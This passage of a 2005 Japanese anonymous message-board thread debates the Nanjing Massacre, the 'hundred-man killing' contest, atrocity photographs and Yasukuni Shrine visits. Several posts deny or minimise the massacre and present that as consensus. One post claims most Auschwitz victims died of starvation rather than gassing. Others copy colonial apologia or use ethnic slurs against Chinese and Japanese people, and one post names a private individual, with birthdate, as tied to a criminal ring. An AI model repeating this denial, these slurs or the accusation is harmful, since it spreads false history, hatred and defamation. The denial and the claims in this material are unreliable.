山田浅右衛門の話をあげてみたのだが、逆に1本でも100人切れると主張するなら
その証拠を挙げてほしい。
彼らの使用した刀のうち少なくとも一本は、それなりの銘のある代物であるのは
知っているつもりだが、現に10数名でぼろぼろで切れなくなるとの記録がある
のだから可能であると主張するなら、可能である証拠が用意できるはずだ。
念のため忠告しておくが、磨いで使っていたなどといった非現実的な方法では
ないことを期待する。




658 :名無的発言者:05/02/08 09:25:41
 野田は、大隊副官だったから、中国兵を斬るような白兵戦では作戦命令伝達
などで忙しく、そんな暇はない。

 向井も歩兵砲の小隊長だから、戦闘中は距離を測ったり射撃命令を出したり、
百人斬りなんてできないのはあきらかです。

 水間政憲氏「南京攻略では、武勲のあった兵士に金鵄勲章が授与され
ました。仮に戦闘行為で100人斬ったことが事実なら、最高の武勲として記録され
ているはずです。しかし実際には、記録を調べてみても2人とも受章していません。
 つまりそもそも100人斬りなどなかったということになるのです。」

 佐藤カメラマン(写真を撮った人)「前線にいると内地の新聞は来ません。
その後、上海に引き揚げた時に、支局でバックナンバーを見ていて記事に気がつきま
した。“あいつ、ホラ話、書きやがったな”と思いましたよ。」




659 :名無的発言者:05/02/08 19:31:37
>>638
あなたが高橋氏を論破した人はいないと言ってたので
彼の論調に基づいて実例を挙げたのだから君は答えるのが筋だろう。
私の質問に答えて、100人切れる実例を挙げてみてくれ。
高橋氏は、10人切ればぼろぼろと主張するなら実例を挙げてください
と言うスタンスだ、ならば100人切があると主張するなら実行可能である
実例を挙げてみよといった質問は筋違いではあるまい。
同じスタンスなのだからな。


660 :名無的発言者:05/02/09 07:54:41
いくら捏造らしき証拠があったと言ったって、
そうじゃない証拠もたくさんあるし、
当時の軍人将校がある程度虐殺を裏付ける証言をしてますし、
外国の新聞も事件を報道してますし、
外人記者や日本人記者も証言してますし、
日本兵や外国人や中国人の生き証人もいますし、
裁判でも有罪になってますし(裁判がインチキだと言う人も
いますが、ちゃんと無罪になってる人もいるわけですから)、
日本政府も認めてますし、
学者の殆どは肯定派ですから、
さすがに「なかった」とは言えないでしょう。


661 :名無的発言者:05/02/09 09:09:16
>>660

それだけちゃんとした証拠があるなら・・・
なんで説得できないの?

662 :名無的発言者:05/02/09 10:30:56
>>660
だから何で捏造写真を作る必要があるのかね?

663 :名無的発言者:05/02/09 11:09:44
>>660
君は何歳かな?言ってごらん

664 :名無的発言者:05/02/09 12:50:25
http://www.sankei.co.jp/news/050201/morning/01na1003.htm
「南京大虐殺」流布写真143枚、証拠として通用せず 東中野・亜大教授検証
明らかな合成/日本兵と違う軍服


 「南京大虐殺」の証拠として流布する写真の検証作業を続けていた東中野修道・亜細亜大学教授は三十一日、都内で会見し、証拠写真として入手しうる百四十三枚のうち、証拠として通用するものは一枚もなかったとする検証結果を発表した。

665 :名無的発言者:05/02/09 13:03:03
>>664
そりゃあないだろうな。
「いつ」「どこで」「誰が撮影したか」
それがなけりゃ証拠とはいえないよ。
死体写真なんて何枚あったって意味ないよ。




666 :名無的発言者:05/02/09 13:24:21
(日本語学校・各種大学)不正入学書類の発生の要因に入管の天下り官僚が関係、
入国管理局に提出する書類の法律の抜け道・及び甘い審査の原因に、入管の天下り官僚が各種学校顧問として存在、
また学校に問題が発生すると必然的に学校顧問の天下り官僚が新しい入管法の抜け道を探し、
不正書類入学・違法的な学校運営に関与している。
日本語学校・愛知国際学院学生「郭燕銘」(1976年5月13日生まれ28歳・上海から留学)
中国人犯罪組織(株)中日本華商社長「蔡正昇」の一味(偽装結婚・違法エステ・スキミング・カード偽造)大学に進学した際、
日本語学校内・「蔡正昇」関係者、愛知国際学院 学院長「荘 昌 憲」生徒指導「古川竜治(岐阜日中協会代表)」当時担任「余語暁子」
普通なら問題を起こした生徒は学校側の推薦が受けられないはずなのに犯罪組織の構造として
(中国人犯罪組織)−(日本語学校)−(天下り入管官僚・学校顧問)−(各種大学)と言う構図で法律的な問題は解決される。
警察・入管の天下り官僚が外国人犯罪が発生する原因である。各種(警察・入管)組織も天下り官僚の影響を受け、
全力を挙げての外国人犯罪組織撲滅に至らない。



667 :名無的発言者:05/02/09 18:06:20
「1937年の中国軍による上海での日本人捕虜虐殺事件」 上海において中国兵による日本人や市民虐殺が実行された。

(資料) 
(上海における中国人の日本人捕虜虐殺行為に関するCNNレポート)
http://www.cnn.com/WORLD/9609/23/rare.photos/index.html

(CNN紙に掲載された虐殺光景)
http://www.cnn.com/WORLD/9609/23/rare.photos/image1.lg.jpg
http://www.cnn.com/WORLD/9609/23/rare.photos/image2.lg.jpg
↑こんな歴史にはだんまりな朝日

668 :657 :05/02/09 19:22:16
今日も>>683からの返事は無しか。
>なんと言われようと、誰も高橋さんを論破できないのですから、
>「虐殺はあったと結論するしかありません。
肯定派の高橋氏を論破したやつが居ないから、あったと言うなら、
否定派である私を論破できない場合、無かったと言う論理だって成り立つぞ。
早く私の質問に答えて100人切りが可能であった実例を挙げてみてくれ。
ボロボロになる実例は挙げて見せたぞ。
どうやってボロボロになるはずの刀をで100人もきれたのだ。
このまま何も言わなければ、少なくとも君は、虐殺否定派の論理を受け
入れたとみなすぞ。



 



669 :名無的発言者:05/02/09 22:15:48
>>638
の反論待ちage

670 :名無的発言者:05/02/09 23:31:31
age

671 :名無的発言者:05/02/09 23:37:40
>>667
やはり虐殺をしたのは支那人だったわけだな

支那に謝罪と賠償を要求する

支那人に虐殺された英霊を弔う小泉は正しかった


672 :名無的発言者 :05/02/09 23:40:06
小泉は結構やってるよ。

673 :名無的発言者:05/02/09 23:44:20
>>672
虫獄人撲滅運動をか?

674 :673:05/02/09 23:46:46
ああ、英霊を弔うってやつか。イイコトダ

675 :名無的発言者:05/02/09 23:47:30
魚釣島
このタイミングで発表するとは(大本営本日発表)

日本も覚悟を決めたか!エライぞ!

676 :名無的発言者:05/02/11 19:34:43
>>661
>>662
中国は日本からの金が欲しいんだよ。
金が手に入るのなら、どんな屁理屈だって言うし、どんな言いがかりでも付ける。



677 :名無的発言者:05/02/12 09:14:01
ウヨはどうして1のような事実を直視できないのだろう

678 :名無的発言者:05/02/12 11:47:40
>>677
調査しても証拠が出て来ないのであれば、否定するしかない。

日本軍撤退後、中国による徹底的な調査が行われたのだが、
出てきたのは、伝聞証拠だけ。どうやっても、まともな証拠が出て来ない。

まだ、調査が行われていない、という主張は、歴史の捏造です。


679 :名無的発言者:05/02/12 11:49:28
南京虐殺は全くなかったというのが現在の定説だろう

680 :名無的発言者:05/02/12 11:52:38
虐殺記念館を世界遺産に。
レイプオブナンキンで著者の自殺
痛すぎだろう

681 :名無的発言者:05/02/12 12:16:28
この前英国人の友人に南京大虐殺のことが真実であるかという質問をしてみたが、
笑いながら当時の日本軍では物資など面で不可能だろっていわれた。
アウシュビッツでもガス室で虐殺されたのは一握りで、ほとんどは餓死および伝染病だったらしい。
現実的に考えても南京大虐殺なんて不可能だろう。


682 :名無的発言者:05/02/12 13:30:45
共食いの罪を擦り付けてくるチャンコロ

683 :名無的発言者:05/02/12 13:52:55
http://society3.2ch.net/test/read.cgi/mass/1106186651/
上記、スレッドが何も予告もなしで、一方的にスレッドストッパーされた
こんな横暴が許されていいのか?



684 :名無的発言者:05/02/12 16:39:00
もっとスレッドの立て方を考えて立てろよ。
そんなスレタイじゃあ、「削除して下さい」って言ってるようなもの。
例えば、“朝日新聞と松島やよりの関係」とかなんとか、
適当に考えて、スレ削除され難くしろっての。


685 :657 :05/02/12 23:46:57
相変わらず>>683は私からの質問の無視を続けてる模様ですね。
これはもう虐殺否定を自ら認めたと判断してもよいですよね?


686 :名無的発言者:05/02/13 08:19:11
>>679

>南京虐殺は全くなかったというのが現在の定説だろう

残念ながら
旧日本陸軍出身者団体でさえ、虐殺(不法殺害)はあったと言ってる。
民間人30万大虐殺ではないが。
保守派でも虐殺(不法殺害)ありの立場が多い。

687 :不勉強ウヨi:05/02/13 09:58:55
「南京に20万人しか人がいなかったのはなんでだ!」
http://www.geocities.jp/yu77799/jinkou.html

「当時海外の新聞が報じていないのはなんでだ!」
http://www5.tok2.com/home/JOHNVOID/nakkin_faq_ans16.html

「国際連盟で非難されていないのはなんでだ!」
→1938年2月1日『国際連盟理事会第六会議議事録』

「中国政府が当初まったく触れていないのはなんでだ!」
→同上。

「第三国の外交文書に載っていないのはなんでだ!」
→ドイツだけで『資料・ドイツ外交官の見た南京事件』という本一冊できるくらいある。

「同一の事件に対する複数の証言・証拠がないのはなんでだ!」
→李秀英事件・夏淑琴事件・幕府山事件などなど。

「東京裁判で問題になってないのはなんでだ!」
→言うまでもないか。



688 :名無的発言者:05/02/13 10:15:44
毛沢東が虐殺した人民は6000万のはずだがその辺りはどう考える?


689 :名無的発言者:05/02/13 12:30:56
都合の悪い事は無かった事に出来るのは支那畜の特殊能力

690 :名無的発言者:05/02/13 18:48:34
>638へ 
いまだ頭の中だけでものをかんがえている君ネ、ニワトリのがらでいいから100羽買ってきて片端からぶったぎってごらん、どうなるか。しんでるからね、血が出て手は滑らないだろうが
、脂で刃はべとへとになり、やがて切れなくなる。
100人切ると言うのは殺す事と何の関係もない。日本刀で殺す場合い、頸動脈を狙って、首か身体の内側(うちふともも、腕の内側)を切らなければならない。実際やったら返り血と、握力
の低下と、脂肪が刀について駄目だろう事は想像でわからんかね、



691 :名無的発言者:05/02/13 18:54:19
>>690
支離滅裂になってきたなw

692 :名無的発言者:05/02/13 18:58:40
>690 デス。チョットすれちがいだったようですが、>638の言っている先のページに百人切りがあったので書いた。

693 :名無的発言者:05/02/14 18:59:31
ttp://128.206.143.120:8080/ramgen/352/nanking_atrocities.rm
はいよおまえら
南京事件の動く証拠ですよ

694 :名無的発言者:05/02/15 17:08:52
>>693
アメリカ軍の反日工作を割り引いても、一般市民に
大規模な被害が出てるのはよくわかるね。
戦争なんて多かれ少なかれ虐殺に決まってるわけで。
軍人以外は殺してないなんて言い張る奴、頭オカシイよな。

695 :名無的発言者:05/02/15 17:23:38
なにしろ中国人が行った虐殺ですからな。
南京虐殺というのは。

696 :名無的発言者:05/02/15 17:31:15
ならシナでは単なる日常風景と言う事で終了

697 :名無的発言者:05/02/15 18:08:39
大陸打通作戦、3000`踏破、皇軍100万の精鋭は健在なり!
大虐殺30万というが、陸軍の殲滅スコアは3500万人。
当時殺傷能力においても、皇軍のレベルは世界一だ。
その力は国民共産などのチンピラゴロツキものともせず、
連戦連勝無敵無敗、以って世界に皇軍最強を知らしめた。
世界最強、かく戦えり帝国陸軍!
帝国陸軍をもってあたらば、南京30万の民間人など
何するものぞ、たった一昼夜で撃滅可能。
一つ言っとくがな。 チハに攻撃されたら、骨も残らねーぞw

698 :名無的発言者:05/02/15 20:41:40
虐殺の証拠にケチつけて
意地でも信じようとしない
それもウヨの勝手ですが
裁判では通用しないわけでw

南京事件めぐる本で、ウヨ敗訴確定
http://news.goo.ne.jp/news/kyodo/shakai/20050124/20050124a4320.html?C=S

699 :名無的発言者:05/02/15 21:04:37
サヨの馬鹿。チベット侵略は事実。

700 :名無的発言者:05/02/16 02:07:06
南京虐殺があったとか捏造だとか意味がありません。日本人がなんでもうやむやに
して金で解決する、この姿勢が問われているのです。
騒いでも金にならんと判らせれば、人命軽視の本家である中国人はすぐに忘れ、
新しい金になりそうなイチャモンを捏造して騒ぎます。
それを何度かしっかりと躾れば騒がなくなりますが、それまでは脅しや泣落し
に挫けず毅然とした態度が必要です。


701 :盗京大虐殺萬歳!【斷乎殄滅】屎尿な一億屑の糞劣島倭畜【徹底殺絶】:05/02/16 02:15:10
>>697の糞バカ倭畜は
           【発情期】に 
                    自淫自涜・自棒自慰を
   本当に低劣度は世界@だ!!!

702 :名無的発言者:05/02/16 02:18:00
>>701
情けないなぁ・・ちょっと可愛そうになってきた。

703 :盗京大虐殺万歳【断乎殄滅】屎尿な一億屑の野糞劣島倭畜【徹底殺絶】:05/02/16 04:02:40
>>702の糞バカ意気地無しく自惚れる「倭野奴」
流石、意地悪な畜類だよ。。。。。。。。。。。

704 :名無的発言者:05/02/16 09:24:18
>>698
南京大虐殺があったっていう判決でないことを、
巧妙に隠蔽して流布するの¥は朝日体質。
名誉毀損は本当のことを書いても適用されるんだが。

705 :名無的発言者:05/02/18 08:24:09
>>名誉毀損は本当のことを書いても適用されるんだが

聞きかじりの知識が何にでもあてはまると思ってる厨ぶり丸出しなんだが


706 :名無的発言者:05/02/18 09:48:37
私は論評する限りはその事についての最低限の知識を得てからにしているつもりです。その上で私の論を持ちます。
歴史教科書の内容は事前にサピオなどの雑誌で理解していました。 そのうえでこれほど日本中を騒がせている問題
なので、きちんとその本を読むべきだと思い、出入りの本屋さんに発注しておきました。 市販本歴史教科書第1刷
を発売当日に手にし読んでみました。 私には何故彼らが、、、外国でいえば韓国と中国。 国内でいえば、、、、
滅び行く左翼人種やその影響をモロに受けている朝日系新聞テレビ、毎日系新聞テレビ、共同通信、NHKなどです
が、、、、、この本を攻撃するのか全く理解出来ません。それが読後の正直な感想です。


707 :名無的発言者:05/02/18 09:49:08
歴史教科書について、何故韓国中国がこれほどまでにヒステリー的にしつこいのか?? それらに大いなる影響を
受けた左翼主義者が何故これほど拘り続けるのか?? 彼らの国民気質、外交論理を、小学館のサピオ誌 7月2
5日号の中で作家の伊沢元彦氏が解説してくれています。 ここに書かれている文章の一部を紹介します。 尚、
伊沢氏の [ 逆説の日本史 ] は日本の歴史について一読の価値有る本で、初版から5冊までは文庫本で発売され
ています。 週間ポスト誌で、未だに続きを連載しています。 



708 :名無的発言者:05/02/18 09:49:47
、、、、、、、彼等の文化に、我々が迎合する必要はまったくありません。 それぞれ遠う文化を持った国であり民族なのですから。
まして、自己の属する文化の価値観を一方的に押しつけるような行為、 たとえば「総理の公式参拝中止」や「A級戦犯合祀に対する異議」など、従う必要などまったくないことです。

我が国には「死者は善悪を間わずすべて慰霊されるべきだ」という伝統があります。そのことは、秀吉の「朝鮮出兵」 の擦に、
鳥津家が建立した「敵味方供養の碑」でも、確認することができますし、他にも様々な例があります。 具体例を一々出さなくて
も日本が「死者に鞭打つ文化」の国ではないことは、充分おわかりになっていると思います。 日本の文化にも様々な欠点はあり
ますが、この「死ねぱ皆仏」という考え方は、 世界に発信してもいい日本の優れた文化の一つだと私は考えています。

しかも、この伝統は「戦犯処刑者も戦死者と同等に扱う」という形で昭和器年(l953)の回会決議で全会一致で可決されています。
それでも、中国や韓国が「A級戦犯を祀るとは何事だ!」とあくまで主張するなら、私ならこう言います。 第二次枇界大戦後、
世界が戦争というものに極めて慎重になった後も、中国という国は性懲りもなく、様々な国と戦争してきました。 ベトナムとの戦争。
(中越戦争)やチベットへの侵略、また旧ソ連との国境紛争もあります。


709 :名無的発言者:05/02/18 09:50:53
しかし、その中で最大のものは、やはり朝鮮戦争への介入でしょう。韓国人はよく「南北分断は日本の責任だ」と言いますが、
「責任」という言葉を「分断を最終的に確定させた者」の意味だとするなら、それは間違いで、責任があるのは中国です。 朝
鮮戦争は初め国連軍(アメリカ軍)の支援を受けた韓国側が優勢でした。そして、このままいけば韓国によって 朝鮮半烏が統
一されると誰もが思った時、中国軍の侵入によって朝鮮軍が巻き返し、結果的に南北分断が確定してしまいました。

−−−−−−−−
funwaka注
朝鮮の日本統治が始まる前の興味深い統計が有ります。朝鮮の人口は日本統治が開始された1910年には1300万人でした
が終戦時には3000万人になっていたのです。 当時の朝鮮は農業の生産性は少なく、幹線道路も整備されておらず、流通は
滞り、病院も少なく、生活全般に不衛生だったからです。そのような理由から朝鮮では長らく人口の増減は無かったのです。貧
しい国故に1300万人以上に人口が増えようが無かったのです。

ところが日本が統治しはじめてわずか35年で人口は倍以上の3000万にも膨れ上がったのです。 日本は統治時に多額の資
金を朝鮮につぎ込みました。道路を整備し、流通の流れを作り、病院を作り衛生的な生活を教え、学校を作り富の想像の知識を
教え、灌漑用水を作り、近代農業を教え、農作物の生産性を飛躍的に高めたのです。おかげで朝鮮では貧しいが故に増えなかっ
た人口が日本統治のおかげで爆発的に増えたのです。


710 :名無的発言者:05/02/18 09:52:10
日本統治を求めたのは当時の朝鮮の最大政党でした。 あまりにも貧しい自国の将来を憂い、当時の欧米列強と互角に渡り合う唯一の黄色人種
でありアジアの盟主であり、最先進国の、金持ち日本に統治してもらい、朝鮮を豊かにしたかったのです。 その朝鮮の最大政党に日本への統
治を願い請われて、日本は朝鮮政府と日本統治の条約を結んだのです。 これらの事は当時のイギリスやアメリカなど先進国にも認知され、承
認された史実であり、歴史上の事実です。

その政党の思いは見事に的中しました。日本統治からわずか20年で1700万もの人口増という証拠となって表れたのです。 日本は朝鮮を
侵略したのでは決して無く、援助したのです! 感謝されることは有っても、恨まれる事など絶対に無いのです!! 中国においても全く同じ
事が言えるのです。莫大な資金を中国につぎ込んで道路や鉄道を造り、日本統治時代、日本は中国をそれ以前よりも遙かに豊かな国に変えてあ
げたのです!

当時の欧米列強の植民地政策としての侵略は凄まじいまでの富の収奪でした。ところが日本には富の収奪どころか、道路を造り病院を作り、文
字を教え、、、、日本語も教えましたが、当時の朝鮮は諸外国と一緒で日本と違い一般庶民は文盲だったので、ハングルも日本人の教師が朝鮮
国民に日本の建てた学校で国民に教えました。 建てた学校は日本と富の生産の仕方を教えたのです。日本には、かの国達を指導し、導き、富
める国にしようとしたことは数あれど、富の収奪の植民地政策など、どこを探してもあり得なかったのです。 穀物にしても石油にしても当時
の平均的な金額で購買をしていたのです。 これらの事実をもってすれば日本はアジアを力づくで侵略したなどとの、間違った歴史認識を正す
に十分だと思えます。
funwaka注 閉 


711 :名無的発言者:05/02/18 09:53:26
これは現代史の常識で、この事実は韓国の教科書にもきちんと載せられています。つまり中国軍とアメリカ軍および韓国軍は かつて交戦したことがあるのです。そして、その時の戦死者はアメリカの「靖国」ともいうべきアーリントン墓地に祀られています。
もちろん中国にも人民英雄記念碑という慰霊碑があります。

では、中国ががつて一度でも「我が中国の兵士を殺したアメリカ兵の眠っている墓地に、大統領が会式参拝するのはケシ
カラン」 と主張したことがありますか? 韓国が「中国よ、朝鮮戦争で我が軍の兵士を殺し南北分断を確定させた兵士
も祀られている記念碑に 花束を捧げるのはケシカラン」と主張したことがありますか?ないでしょう。

それは彼等も「国のために命を棒げた兵士を慰霊するのは国家の代表者として当然」と思っているか、あるいは 「大国
に下手にイチャモンをつけると後が恐い」と思っているかのどちらがです。では、なぜ他の国にはそう言わないのに、
日本にだけ言うのか? それは、ナメられている、ということです。

http://hw001.gate01.com/funwaka/his.htm

712 :名無的発言者:05/02/18 09:54:31
彼等が他の国に対して同様の主張をしているなら、賛成反対はさておいて私も聞く耳は待ちます。しかし、そうではないのだから こんな要求は
毅然としてはねつけ、そして日本の文化を説明すべきでしょう。ちなみに、A級戦犯を分祀(靖国から霊として はずす)せよ、という意見があ
ります。自民党の野中広務元幹事長や民主党の昔直人幹事長あるいは大橋巨泉氏までが、 そういうことを一言い出しているようですが、ちょっ
と待って下さい。

あなたたちは本当に民主主義というものがわかっているのですか?現在、靖国神社は国家機関でも何でもない民問の宗教法人ですよ。 民間の宗
教団体に「分祀」などということを政治家が言っていいんですか? それは創価学会に「日蓮を信仰対象からはずせ」 というのと間じで、信教
の自由に対する重大な侵害行為ではありませんか。それこそ戦前の悪夢の再現でしょう。

では、その「民間の機関」に総埋が公式参拝するのはどうかと間われれば、少なくとも神社の形で戦死者を慰霊することが日本の 伝統である、
とお答えしましょう。「A級戦犯」たちも7人が死刑に処せられるなど罪を償っているのです。そう考えるのが日本の 伝統で、「罪人は永久に
罪人」という彼等の考え方とは明らかに違います。ただ、小泉総理には、同時に千鳥ケ淵の国立戦没者墓地にも参拝するよう申し上げておきます。


713 :名無的発言者:05/02/18 09:55:43
中国には昔から中華思想という考えが有ります。中華思想とは、中華は世界に優れており、全ての国は中華の臣従として仕えるべきであり、
中華を宗主国として認め、中華の制度を採用するべきだと言う思想です。中華と国交を結ぶと言う事は、朝貢関係(中華へ定期的に使節を派
遣し貢ぎ物を捧げる事)になったと認識する思想です。

ですから、現在の日本の中国への総額6兆円もの莫大なODA援助も中国からすれば、我々への日本からの貢ぎ物との認識にしか過ぎないの
です。 日本からの巨大な援助金を軍備につぎ込み、民意弾圧、軍事覇権を確立し、次々に周辺諸国への侵略を繰り返しています。
通常の援助受け入れ国の感覚では、援助で建てた橋や建物、施設やシステムなどには必ず援助国への感謝の印として、目立つところにモニュ
メントを作ります。 援助国への感謝の言葉と共にその行為を称える事を利用する人達に知らせるのです。

中国では殆どの建物にそういったモニュメントは有りません。貢ぎ物に感謝するなどトンデモナイ!と思うからです。
欧米の先進国では援助するなら当然感謝の姿勢を示すことを求めます。 日本の政治家の、度が付くほどのお人好し(欧米ではこのような日
本の外交を、政治家を馬鹿にし、嘲笑しています。)外交は中国をますますつけあがらせ、完全に日本にとっての国益を損じる事になっているのです。


714 :名無的発言者:05/02/18 09:56:42
何故日本人に、国を守って命を懸けた人達を敬う心を無くさせようと、(自分達はそうしているのに!)韓国や中国は求めるのでしょうか?
それこそが、中国の軍事覇権主義にとって利する事になるからです。 防衛を担当する軍隊の志気喪失は、攻める国にとっては容易な侵略が
出来るからです。 国を守って死んだのに、守って残した子孫に全く感謝をしてもらえない。そんな恩知らずの、薄情者の子供達に、果たし
て命をかけてまで防衛をする気持ちが自衛隊の人達に起こるでしょうか? 間違いなく、否!! でしょう。。。。。感謝され尊ばれてこそ
の命をかけた防衛なのです。 だからこそ、韓国でも、中国でも、フランスでもアメリカでも、世界中の全ての国が国の為に命を落とした人
達をいつまでも敬い、尊び、霊に感謝するのです!!

中国は21世紀の未だに周辺国にスキあらば付け入り侵略をするべく策略を巡らし、実行しています。 チベットもウイグルもモンゴルも中
国の過酷な民意弾圧の影響下に有ります。 日本領海付近に調査船を送り込んだり、日本を標的にしたミサイルの開発を進めたり、ねつ造の
南京大虐殺事件を大々的に宣伝したり、歴史教科書問題や閣僚の靖国神社参拝などを取り上げては日本の国際的名誉を傷つけ、日本国民の自
尊心を貶める事に熱心です

715 :名無的発言者:05/02/18 09:57:39
いつの世も国と国のつき合いにおいての基本は隣国の益は自国の損との発想です。 これは21世紀の今でも変わりは有りません。
国民レベルでの、間違った自虐歴史観は国を危うくする重大な悪しき問題なのです。 個人のお人好し思想はそれで良しとしても、
政治家がそのような幼稚な迎合外交や、間違いの歴史認識であれば国は滅びるばかりなのです。

http://hw001.gate01.com/funwaka/his.htm

716 :名無的発言者:05/02/18 19:13:56
↑長いし内容メチャクチャだしもうどうしょうもないレス

717 :名無的発言者:05/02/18 19:15:45
>>715
サヨクが国家転覆を狙ってるんだよ。
朝日みたになのがな。

718 :名無的発言者:05/02/20 00:01:53
>>717
右翼がバカなのは仕方ないが
国を愛するなら
せめて日本語はちゃんとしゃべれるようになろうぜ

719 :名無的発言者:05/02/20 00:02:51
記念すべきセントレアでの逮捕者第1号
http://www.nikkansports.com/ns/general/f-so-tp0-050219-0001.html
中部国際空港で初の逮捕者
 17日に開港した中部国際空港で18日、初の逮捕者が出た。
愛知県警中部空港署は同空港のロビーでバッグを盗もうとしたとして、
窃盗未遂の現行犯でオーストラリア国籍のサンドラ・リオン容疑者(28)を逮捕した。


 (     ヽ
  ヽ   ノ ヽ            ∧        ∧
    ゞ、   丶          / ヽ     _/
      ヽ ノ  \       /   ⌒ ̄ ̄   ⌒ヽ
     |\_ ノ\ ____(__SH______)
   /⌒\        丶  /              ヽ
  │  \  人  |/⌒ヽl ━━━ii ii ii━━ 」L:::::::::| / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  /    \    /    || ( ● )  ( ● )ヽ「::::::::::|、     俺の顔に泥............じゃなかった 
 (  \   ヽ  /    /|  \  ・・   /:::::::::::::::::|  \糞を塗ったフジテレビは永久に逝ってよし!! 
 (       |  /   ) ヽ   |  ◎   |.:::::::::::::::::::ノ   \_________________
  ヽ \  ヾ 丿(( ̄)/ r‐‐'"/`┬ - ―~./   ヽ_       
   \  ヾ丿  ヽソ     /  i" i,  ..:  /  /  ヽ-、   
     ヽ ノ _ __/ヽ   ヽ> l    /   i     \ 

 調べでは、リオン容疑者は同日午後5時15分ごろ、
空港3階の出発ロビーで、旅行会社のカウンター内から同社社員の女性(39)の
バッグを盗もうとした疑い。空港従業員の通報で駆け付けた署員に逮捕された。
同容疑者は「拾っただけ」と容疑を否認している。


720 :名無的発言者:05/02/24 09:09:03
全否定というなら、皆無だろうな、確かに

721 :否定派理論:05/02/24 09:12:33
「大虐殺否定理論」 秦教授
日本側の資料(戦闘詳報等)に基づき、30万虐殺を否定。
4万程度。

「不可抗力理論」 板倉氏、偕行社(旧日本陸軍出身者団体)
部隊の収容力や便衣兵の存在など、不可抗力を考慮し数を割り引き。
数千〜二万。

「不法殺害0理論」 東中野教授
ハーグ規定の解釈。
敵の司令官が逃走したとかで、敵兵の権利を全て否定。
便衣兵が居るので一般市民の処刑もOK。

「免責理論」
こちらも向こうも犯罪行為を行ってるので、片側のみが罪に問われる事はない。

-------------------※ここまでは、矛盾しない※-------------------

「行為否定理論」一部2ちゃんねら
事件そのものが存在しない。
戦闘詳報・陣中日誌等の公文書や、学者、偕行社の調査すらも一方的に否定。


722 :名無的発言者:05/02/25 11:57:21
日本で最も情報記述の厳密さについて権威ある「広辞苑」にはこう出ています。

ナンキン‐だいぎゃくさつ【南京大虐殺】
日中戦争で南京が占領された一九三七年一二月前後に南京城内外で、
日本軍が中国軍の投降兵・捕虜および一般市民を大量に虐殺し、あわ
せて放火・略奪・強姦などの非行を加えた事件。

723 :名無的発言者:05/02/28 22:14:24
良スレage

724 :名無的発言者:05/03/01 10:48:56
広辞苑って岩波書店だろ・・・(´・ω・`)

725 :名無的発言者:05/03/03 14:04:10
岩波だが、広辞苑の権威は絶大

悔しかったら、普及率一位のウヨの辞書を作ればよい

726 :ヒロサトル:05/03/03 16:18:15
頭の善し悪しと物事の判断力が比例しているだけか(笑)


727 :名無的発言者:05/03/03 17:34:04
チャンコロは両方無いなw

728 :おとこたちよ:05/03/03 22:26:23
英霊たちに侵略強盗殺人、侵略強盗殺人共犯の有罪判決を与えて贖罪させてやらない限り
彼らは安らかに永眠することなど永久に出来ない。
自分の土地で家族を殺されたアジアの怒りと祈りに応える唯一の道は
平成の今、
英霊たちに侵略強盗殺人の速やかな有罪判決を与えて永眠させてやること以外には無い。
http://www.ne.jp/asahi/tyuukiren/web-site/backnumber/04/honda_y_sankou.htm
http://members.at.infoseek.co.jp/YaYa/isihara.htm
「靖国の母っていうのは、息子を戦死させた母親でしょう。
その母親たちが戦争反対運動をしたのかと思ったら、してないんですね。
息子を殺されて、戦争反対を叫ばない母親たちがいたんですねェ。不気味な言葉ですね、靖国の母って」〔『無名人名語録』 永六輔1987〕
http://www32.ocn.ne.jp/~modernh/paper37.htm
沖縄やアジアで「市民殺し」をした英霊たちが
遂に裁かれることがなかったのは可哀想だ。
人殺しの贖罪をすることなく死んで行った兵士たちは哀れだ。
どんな時代であろうと
人殺しは人殺しである、殺した兵士が一番よく知っている。
侵略強盗殺人犯罪を裁かれないまま宙空を彷徨う兵士たちの霊が安らかに永眠など出来るはずもない
http://home.kanto-gakuin.ac.jp/~hirofumi/study411.htm
http://news.kyodo.co.jp/kyodonews/2004/aum/
オウム帝国の兵士たちも裁かれている、
長く厄介な裁判だが オウム帝国の兵士たちとオウム帝国の英霊たちの個別の犯罪を裁かないわけにはいかない。

729 :名無的発言者:05/03/05 07:51:04
http://news.goo.ne.jp/news/sankei/shakai/20050201/m20050201021.html
「虐殺の有無を検証しようとしたのではなく、虐殺の証拠に使われている
写真が、証拠として通用するものかどうかを検証した。そこを理解してほし
い」と東中野教授。

ん?

「虐殺の証拠写真は証拠として通用しない=しかし必ずしも虐殺が無かったということではない
=虐殺自体はあったかもしれない」

ってことだよね?
なんか、以前の東中野氏の立場とずいぶん違うような気がするんですけど。
いつのまに虐殺肯定派になったんでしょ。


730 :名無的発言者:05/03/06 21:42:15
民放関西ローカル よみうりテレビ「たかじんのそこまで言って委員会」
http://www.ytv.co.jp/takajin/ 《 3月6日(日)13:30〜放送分の出演者(予定)》
▽南京大虐殺と反日プロパガンダ ▽頑張っているのに、もっと評価されていいモノは何?
  ◇司会 やしきたかじん、辛坊治郎(読売テレビ解説委員)
  ◇パネラー 三宅久之、金美齢、西村眞悟、川崎泰資、デーブ・スペクター 宮崎哲弥、桂ざこば、遙洋子
  ゲスト:東中野修道(亜細亜大学法学部教授)

南京大虐殺肯定派がグウの音も出ない程論破されますた。
あの東中野教授が捏造写真の解説もしています。
デーブ・スペクターが自ら自爆する姿など、必見です。
番組の前半部分「▽南京大虐殺と反日プロパガンダ」の動画ファイルです。

●27.8MB たかじんそこまで言って委員会.wmv ↓
  h ttp://www.dela-grante.net/michelin/up/so/No_2965.lzh

【南京】たかじんのそこまで言って委員会16【反日】
http://society3.2ch.net/test/read.cgi/mass/1110035599/
たかじんのそこまで言って委員会 Part10
http://tv6.2ch.net/test/read.cgi/tv/1109007909/
「たかじんのそこまで言って委員会」2
http://tmp4.2ch.net/test/read.cgi/asia/1106525478/

731 :名無的発言者:05/03/06 22:39:30
>>729
「虐殺の証拠写真は証拠として通用しない=しかし必ずしも虐殺が無かったということではない
=虐殺自体はあったかもしれない」
そもそも無かったものを無かったと証明はできません。なぜなら証拠がないから・・・
あなたが殺人をしたと無実の罪でつかまったとします。あなたはその場にいなかったという証拠以外に無実を証明する証拠を出せるんですか?もともと何もやっていないのに

あなたみたいな馬鹿にもわかりやすく言うと0(やっていない事件)から1(証拠)は作れません。
逆に30万人という大規模な事件なのに証拠が1つもありません。それが無実の何よりの証拠。お分かり?

732 :名無的発言者:05/03/06 22:41:52
>>731
「悪魔の証明」ってやつですな。
詭弁の際に使われる典型的なテクニックだ。

